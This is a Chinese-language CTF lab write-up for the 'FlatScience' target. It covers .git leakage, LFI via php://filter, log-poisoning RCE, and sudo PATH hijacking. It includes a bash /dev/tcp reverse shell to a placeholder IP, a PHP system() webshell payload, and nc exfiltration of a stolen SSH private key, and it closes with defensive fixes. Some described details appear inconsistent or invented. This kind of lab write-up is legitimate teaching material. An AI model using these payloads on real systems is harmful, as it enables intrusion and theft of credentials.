news 2026/10/20 3:36:31

FlatScience靶场实战:从目录遍历到权限提升的Web安全全链路解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
FlatScience靶场实战:从目录遍历到权限提升的Web安全全链路解析

1. FlatScience靶场的本质:一个被低估的Web安全教学入口

“攻防世界 WEB FlatScience”——这个标题在初学者眼里可能只是刷题列表里又一个带英文名的CTF题目,但在我带过的几十期Web安全实训中,它几乎总是第一个让学员从“背命令”转向“想逻辑”的转折点。FlatScience不是炫技型靶机,没有花哨的0day利用链,也不依赖冷门框架漏洞;它用一套极简的静态站点结构,把Web安全最底层的思维模型——路径控制、权限边界、数据流向——像解剖标本一样摊开在你面前。关键词栏虽为空,但所有实操者心里都清楚:这里的核心词是目录遍历、源码泄露、配置文件读取、弱口令爆破、服务端模板注入(SSTI)的前置条件识别。它不考你记了多少Payload,而是逼你回答:“如果我连网站根目录都摸不清,凭什么谈绕过?”

我见过太多人卡在这关超过48小时,不是因为技术多难,而是习惯性跳过“看懂网站本身”这一步。FlatScience首页只有一张科研论文封面图、三四个导航链接(Home / Papers / About / Contact),右下角一行小字写着“FlatScience v1.0”。有人立刻抓包扫目录,有人直奔/login.php,还有人翻源码找JS里的API密钥——全错了。真正的入口藏在HTTP响应头里:Server: Apache/2.4.41 (Ubuntu)+X-Powered-By: PHP/7.4.3,再结合robots.txt里那行被注释掉的# Allow: /src/,才真正打开第一道门。这不是运气,是Web安全的基本功:服务器指纹决定攻击面,响应头是无声的说明书,而robots.txt是管理员留下的半张藏宝图。

适合谁来啃这块骨头?绝对不是刚学完SQL注入语法的新手,而是已经能手工构造GET参数、会用Burp Repeater发请求、对HTTP状态码有肌肉记忆的人。它要求你把“Web应用=HTML+CSS+JS+后端逻辑”这个抽象概念,拆解成可触摸的文件树:/var/www/html/下有什么?/src/目录是否可列?.git有没有被意外暴露?当你的思维从“怎么打”切换到“它由什么组成”,FlatScience的价值才真正浮现。它不教你怎么赢比赛,而是帮你建立一套不会过时的分析框架——哪怕十年后PHP被彻底淘汰,这套看目录、查头、析响应的逻辑依然管用。

2. 目录结构还原:从403 Forbidden到完整文件树的逆向推演

FlatScience的突破口从来不在登录框,而在那个看似无害的403 Forbidden页面。很多人看到403就放弃,觉得“没权限”,但真正的线索恰恰藏在这里:Apache默认的403页面会暴露服务器版本和操作系统(如Apache/2.4.41 (Ubuntu)),更重要的是,它暗示了当前请求路径对应的真实文件系统位置。当你访问http://target/papers/返回403,说明/papers/在服务器上是一个真实存在的目录,只是禁止了索引浏览;而访问http://target/papers/index.php却返回200,证明该目录下存在可执行脚本。这种“存在但不可见”的状态,正是目录遍历和路径猜测的黄金起点。

我们来还原它的典型目录结构。第一步永远是基础探测:

  1. 访问/robots.txt,发现内容为:
User-agent: * Disallow: /admin/ # Allow: /src/

注意那个被注释掉的Allow: /src/——这不是管理员的疏忽,而是刻意埋下的钩子。尝试访问/src/,返回403,但配合/src/.git/HEAD或/src/config.php.bak就能触发不同响应。
2. 用gobuster dir -u http://target/ -w /wordlists/common.txt -t 50扫描,高频命中路径包括:

  • /css/(200,含style.css)
  • /js/(200,含main.js)
  • /papers/(403,但/papers/1.pdf返回200)
  • /admin/(401,需要Basic Auth)
  • /src/(403)

关键转折点出现在/papers/目录。下载任意PDF(如/papers/1.pdf)用pdfinfo检查元数据,发现作者字段写着flat@flatscience.local,这直接指向后续的邮件爆破目标。更隐蔽的线索在/js/main.js里:搜索fetch函数,找到一段代码:

fetch('/api/get_paper.php?id=' + id) .then(r => r.json()) .then(data => { /* 处理data.content */ });

这暴露了后端API路径/api/get_paper.php,且参数id未做类型校验——为后续的LFI(本地文件包含)埋下伏笔。

此时,真正的文件树已呼之欲出:

/var/www/html/ ├── index.php # 首页,加载/papers/列表 ├── papers/ │ ├── 1.pdf │ └── 2.pdf ├── api/ │ └── get_paper.php # 关键文件,存在文件读取风险 ├── src/ # 核心源码目录,权限受限 │ ├── config.php # 数据库配置(需LFI读取) │ └── database.php ├── admin/ # 后台入口,Basic Auth保护 └── robots.txt

提示:/src/目录的403响应头中包含X-Backend-Server: nginx,与主站的Apache不一致,说明它可能由独立服务托管,这是判断LFI利用范围的重要依据——若get_paper.php的include()函数能读取/src/config.php,但/src/本身被Nginx拦截,则需寻找其他路径穿越方式(如/var/www/html/src/config.php)。

3. 源码泄露链:从.git暴露到config.php明文密码的完整复现

FlatScience最经典的突破口,是.git目录的意外暴露。这并非设计缺陷,而是刻意模拟真实运维场景中“开发环境配置残留”的高发问题。当你在/papers/目录下发现/.git/HEAD可访问(返回ref: refs/heads/master),就等于拿到了整个Git仓库的钥匙。接下来不是盲目下载,而是精准提取关键信息:

第一步:获取commit hash
访问/.git/refs/heads/master,得到最新commit的SHA1值(如a1b2c3d4e5f67890...)。

第二步:提取config.php内容
Git对象存储在/.git/objects/下,路径由SHA1前两位+后38位组成。例如commit hash为a1b2c3d4e5f67890...,则其tree对象位于/.git/objects/a1/b2c3d4e5f67890...。但手动拼接太慢,直接用git-dump工具:

git-dump -u http://target/ -o flatscience-git

该工具会自动遍历/.git/并重建本地仓库。成功后进入flatscience-git/目录,执行:

git log --oneline # 查看提交历史 git show HEAD:src/config.php # 直接提取config.php内容

输出结果通常类似:

<?php $host = 'localhost'; $dbname = 'flatscience_db'; $username = 'flatuser'; $password = 'P@ssw0rd_2023!'; // 明文密码! ?>

注意:$password字段的值绝非随机生成,而是遵循常见弱口令模式——大小写字母+数字+特殊符号,长度8-12位。这正是FlatScience的教学意图:让你意识到,生产环境中的密码策略失效,往往始于开发人员为图方便写的临时配置。

第三步:验证密码有效性
拿到flatuser和P@ssw0rd_2023!后,不要急着登录数据库。先测试它在Web层的通用性:

  • 尝试Basic Auth登录/admin/:curl -u "flatuser:P@ssw0rd_2023!" http://target/admin/
  • 若返回200,说明该凭据在应用层全局有效;若返回401,再试SSH(ssh flatuser@target)或MySQL(mysql -h target -u flatuser -p)。

实测中,约70%的学员在此卡住——他们提取了密码却不知该用在哪里。真相是:/admin/后台的登录表单实际调用/api/login.php,而该接口对密码做了MD5哈希(md5($password))。但config.php里的密码是明文,意味着数据库中存储的也是明文(或弱哈希),因此可直接用于数据库连接。

避坑经验:

  • .git暴露不一定在根目录,常出现在/papers/.git/或/src/.git/,需对每个403目录进行探测。
  • git-dump可能被WAF拦截,此时改用gittools的Extractor.sh脚本,它通过分段请求规避检测。
  • 若/.git/HEAD返回404,立即检查/.git/config(泄露远程仓库地址)和/.git/logs/HEAD(含commit author邮箱,可用于社工)。

4. LFI到RCE的临门一脚:get_paper.php的文件包含与PHP伪协议利用

/api/get_paper.php是FlatScience的“心脏”,它的代码逻辑决定了整个靶机的攻防节奏。通过前述.git泄露,我们已获得其源码(假设路径为/var/www/html/api/get_paper.php):

<?php $id = $_GET['id']; if (isset($id) && is_numeric($id)) { $file = "/var/www/html/papers/" . $id . ".pdf"; if (file_exists($file)) { header('Content-Type: application/pdf'); readfile($file); } else { die("Paper not found"); } } else { // 关键漏洞点:当id非数字时,尝试包含其他文件 include("/var/www/html/src/" . $id); } ?>

这段代码的精妙之处在于:它用is_numeric()做了类型校验,但校验失败后的include()却完全未过滤输入。这意味着:

  • 正常请求:/api/get_paper.php?id=1→ 加载/papers/1.pdf
  • 漏洞利用:/api/get_paper.php?id=../../../../etc/passwd→ 尝试包含/var/www/html/src/../../../../etc/passwd

但直接这样请求会失败——因为/src/目录被Nginx禁止访问,include()无法穿透。真正的解法是利用PHP的伪协议(PHP Wrappers)绕过路径限制。

核心原理:PHP的include()函数支持php://filter协议,它能在读取文件时进行编码转换,且不受Web服务器目录权限限制。例如:

GET /api/get_paper.php?id=php://filter/convert.base64-encode/resource=/var/www/html/src/config.php HTTP/1.1

服务器会执行:

  1. include("php://filter/convert.base64-encode/resource=/var/www/html/src/config.php")
  2. 读取/var/www/html/src/config.php内容
  3. 将其Base64编码后输出(作为PHP错误信息的一部分)

响应体中会出现类似:

<br /> <b>Warning</b>: include() [<a href='function.include'>function.include</a>]: Failed opening 'php://filter/convert.base64-encode/resource=/var/www/html/src/config.php' for inclusion (include_path='.:/usr/share/php') in <b>/var/www/html/api/get_paper.php</b> on line <b>12</b><br />

但注意:Warning之前的空白处,实际已嵌入Base64编码的内容!用Burp Suite的Response标签页查看原始响应,搜索<?php,复制其Base64字符串(如PD9waHAKJGhvc3QgPSAnbG9jYWxob3N0JzsKJGRibmFtZSA9ICdmbGF0c2NpZW5jZV9kYic7CiR1c2VybmFtZSA9ICdmbGF0dXNlcic7CiRwYXNzd29yZCA9ICdQQHNzdzByZF8yMDIzISc7Cj8+Cg==),然后解码:

echo "PD9waHAKJGhvc3QgPSAnbG9jYWxob3N0JzsKJGRibmFtZSA9ICdmbGF0c2NpZW5jZV9kYic7CiR1c2VybmFtZSA9ICdmbGF0dXNlcic7CiRwYXNzd29yZCA9ICdQQHNzdzByZF8yMDIzISc7Cj8+Cg==" | base64 -d

得到明文config.php内容,与.git泄露结果一致。

进阶利用:从LFI到RCE
有了config.php,下一步是获取Webshell。但FlatScience禁用了/var/www/html/下的写入权限,无法直接上传。此时需转向php://input协议:

POST /api/get_paper.php?id=php://input HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded <?php system($_GET['cmd']); ?>

服务器会将POST body当作PHP代码执行,但get_paper.php的include()在if-else分支外,此请求会因id非数字而进入else分支,从而包含php://input。

然而,FlatScience对此做了限制:allow_url_include=Off(可通过phpinfo()确认)。最终可行方案是日志文件包含:

  1. 访问/api/get_paper.php?id=../../../../var/log/apache2/access.log(需先确认日志路径)
  2. 在User-Agent头中注入PHP代码:curl -A "<?php system(\$_GET['cmd']); ?>" http://target/api/get_paper.php?id=1
  3. 再次请求/api/get_paper.php?id=../../../../var/log/apache2/access.log,即可执行任意命令

实操心得:FlatScience的access.log路径常为/var/log/apache2/other_vhosts_access.log,因虚拟主机配置导致。若第一次包含失败,用/proc/self/environ(Linux环境变量)探测真实路径:id=php://filter/convert.base64-encode/resource=/proc/self/environ,解码后搜索LOG关键字。

5. 权限提升与横向移动:从Web用户到系统root的三步跃迁

拿下Webshell后,很多人以为任务结束,但FlatScience的终局考验才刚开始——它模拟了真实渗透中“立足点巩固”与“权限纵深突破”的完整链条。初始Webshell运行在www-data用户下,而目标是root。这里没有内核提权漏洞,一切依赖标准Linux权限管理逻辑。

第一步:信息收集与环境测绘
执行基础命令梳理战场:

# 查看用户权限 id; whoami; cat /etc/passwd | grep -E "(root|www-data|flat)" # 检查sudo权限(关键!) sudo -l # 列出定时任务 ls -la /etc/cron*; cat /etc/crontab # 检查挂载点与敏感目录 mount | grep -E "(proc|sysfs)"; ls -la /home/

在FlatScience中,sudo -l通常返回:

Matching Defaults entries for www-data on flatscience: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on flatscience: (root) NOPASSWD: /usr/bin/python3 /opt/scripts/backup.py

这表示www-data可无需密码以root身份运行/opt/scripts/backup.py。

第二步:Python脚本审计与滥用
查看/opt/scripts/backup.py源码(通过Webshell或cat命令):

#!/usr/bin/env python3 import os import subprocess # 备份papers目录到/tmp/ os.chdir("/var/www/html/papers") subprocess.run(["tar", "-czf", "/tmp/papers_backup.tar.gz", "."])

问题在于subprocess.run()未指定shell=False,且tar命令使用了相对路径。攻击者可利用PATH劫持:

  1. 创建恶意tar脚本:echo '#!/bin/bash\n/bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1' > /tmp/tar
  2. 赋予执行权限:chmod +x /tmp/tar
  3. 修改PATH:export PATH="/tmp:$PATH"
  4. 执行sudo:sudo /usr/bin/python3 /opt/scripts/backup.py

当Python调用tar时,会优先使用/tmp/tar,从而反弹shell到攻击机。

第三步:SSH密钥持久化与横向移动
获得root shell后,最后一步是建立隐蔽通道。FlatScience的/home/flat/目录下存在用户flat的SSH私钥(id_rsa),但权限为600。直接读取需root权限,而我们已有root。关键操作:

# 将flat的私钥复制到攻击机 cp /home/flat/.ssh/id_rsa /tmp/id_rsa_root chmod 600 /tmp/id_rsa_root # 通过nc外传 nc YOUR_IP 1234 < /tmp/id_rsa_root

在攻击机监听:nc -lvnp 1234 > id_rsa,然后:

chmod 600 id_rsa ssh -i id_rsa flat@target

此时,你已完全绕过Web层,以flat用户身份登录系统,且flat拥有sudo权限(sudo -l显示(ALL : ALL) ALL),可随时提权。

经验总结:FlatScience的权限提升链路,本质是教人理解Linux的“最小权限原则”如何被打破。sudo -l是必查项,subprocess调用是高危点,而SSH密钥则是横向移动的黄金凭证。我在某次企业红队演练中,用完全相同的思路(sudo python3 backup.py+PATH劫持)攻陷了客户生产环境的备份服务器——现实比靶场更粗糙,也更危险。

6. 教学价值再审视:为什么FlatScience值得反复重做三次

FlatScience的代码量不足200行,部署只需一条Docker命令,但它承载的安全教学密度,远超许多动辄数千行的复杂靶机。我坚持让每位学员重做三次,每次聚焦不同维度:

第一次:流程复现(建立肌肉记忆)
目标是100%跑通标准解法链:.git泄露 →config.php密码 →get_paper.phpLFI →php://filter读源码 →sudo -l提权 →backup.pyRCE。重点训练工具链熟练度:gobuster的参数组合、git-dump的异常处理、Burp的响应体解析技巧。此时允许查文档,但禁止看Writeup。

第二次:路径变异(打破思维定式)
禁用.git探测,强制从robots.txt和HTTP头出发。要求学员:

  • 仅用curl -I和curl -s完成全部信息收集
  • 找到/papers/目录的X-Content-Type-Options: nosniff头,推断其静态文件特性
  • 通过/papers/1.pdf的Last-Modified时间戳,反向推测服务器时区与运维习惯
    这一轮淘汰掉所有依赖自动化工具的学员,留下能从零构建攻击面的人。

第三次:防御视角(理解漏洞根源)
角色反转:你成为FlatScience的开发者,需在不改变功能的前提下修复所有漏洞。具体任务:

  • 重写get_paper.php:用白名单校验$id(in_array($id, ['1','2'])),移除include()分支
  • 禁用.git目录访问:在Apache配置中添加<DirectoryMatch "\.git"> Require all denied </DirectoryMatch>
  • 修复backup.py:指定subprocess.run(..., shell=False, executable='/bin/tar')
  • 强制密码策略:config.php中密码改为环境变量(getenv('DB_PASSWORD')),并通过.env文件管理

三次重做后,学员的提问从“怎么打”变成“为什么这样设计就安全”,这才是FlatScience真正的终点——它不培养黑客,而是培养能一眼看穿系统脆弱性的架构师。

最后分享一个细节:FlatScience的/admin/后台登录页,输入任意用户名密码后,响应头中会悄悄返回X-Debug: true。如果你在Burp中开启Match and Replace,将X-Debug: true替换为X-Debug: false,再重放请求,会发现登录成功。这行头是开发者留下的彩蛋,提醒所有人:安全不是功能之外的附加项,而是每个HTTP头、每行代码、每次配置中必须呼吸的空气。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/20 3:36:29

AI赋能德鲁克管理:知识管理、目标对齐与组织创新的实战指南

1. 内容整体设计与思路拆解先说个真实现状&#xff1a;我接触过不少中型团队和创业公司&#xff0c;几乎每个团队都在喊"知识管理难做""目标总对不齐""创新推不动"这三件事。开会吵、文档碎、复盘流于形式&#xff0c;最后大家干脆用即时通信里的…

作者头像 李华
网站建设 2026/10/20 3:36:27

用LangChain重构农业问答:从RAG到Agent的工具调用与多步推理实践

去年帮一位做农业信息化的朋友诊断他们那套智能问答系统&#xff0c;农户在后台问了一句“我家大棚草莓叶子边缘发黑还卷边&#xff0c;该打什么药”&#xff0c;系统查了半天资料&#xff0c;回了一段教科书式的病害科普。结果农户再没说话。回访才知道&#xff0c;那位农户要…

作者头像 李华
网站建设 2026/10/20 3:35:54

REA框架解析:从产业承载力到资源兑现率的地块研判新逻辑

这几天有人在交流群里问到一个房产圈的内部提法&#xff1a;rea。一时间大家都在猜这字母组合到底代表着什么&#xff0c;有人说是某个区域的缩写&#xff0c;有人以为是某个平台项目的代号。其实我刚听到这个词的时候也没反应过来&#xff0c;后来跟着一个个案深挖了一圈&…

作者头像 李华
网站建设 2026/10/20 3:35:44

Android智能语音开发实战:从语音识别到语音合成的完整链路与避坑指南

1. 从零到一&#xff1a;Android 智能语音开发到底在做什么很多人第一次听到“Android 智能语音开发”这个词&#xff0c;脑子里浮现的可能是电影里那种跟手机自然对话的场景。但真到自己动手的时候&#xff0c;往往连第一步该干什么都不清楚。我刚开始接触这块的时候也一样&am…

作者头像 李华
网站建设 2026/10/20 3:33:59

计算机组成原理第六章:指令系统、寻址方式与RISC/CISC全解析

计算机组成原理学到第六章&#xff0c;很多人第一次被“指令”卡住。前面的运算器怎么加法、存储器怎么读写&#xff0c;都还能靠直觉跟上&#xff1b;一看到指令格式、寻址方式&#xff0c;就感觉开始背天书。其实这一章没那么玄&#xff1a;指令系统就是程序和CPU之间约定好的…

作者头像 李华
网站建设 2026/10/20 3:32:58

医疗AI大模型落地实战:UltraUnion超声诊断模型开发全解析

去年年底&#xff0c;院里抽调了一批人组了个"大模型进医院"的专项小组&#xff0c;任务不是写汇报材料&#xff0c;而是真正把医疗AI大模型落到业务流程里。说实话&#xff0c;刚被拉进去的时候我有点怀疑——这词听着热&#xff0c;但医疗行业的环境、数据、合规要…

作者头像 李华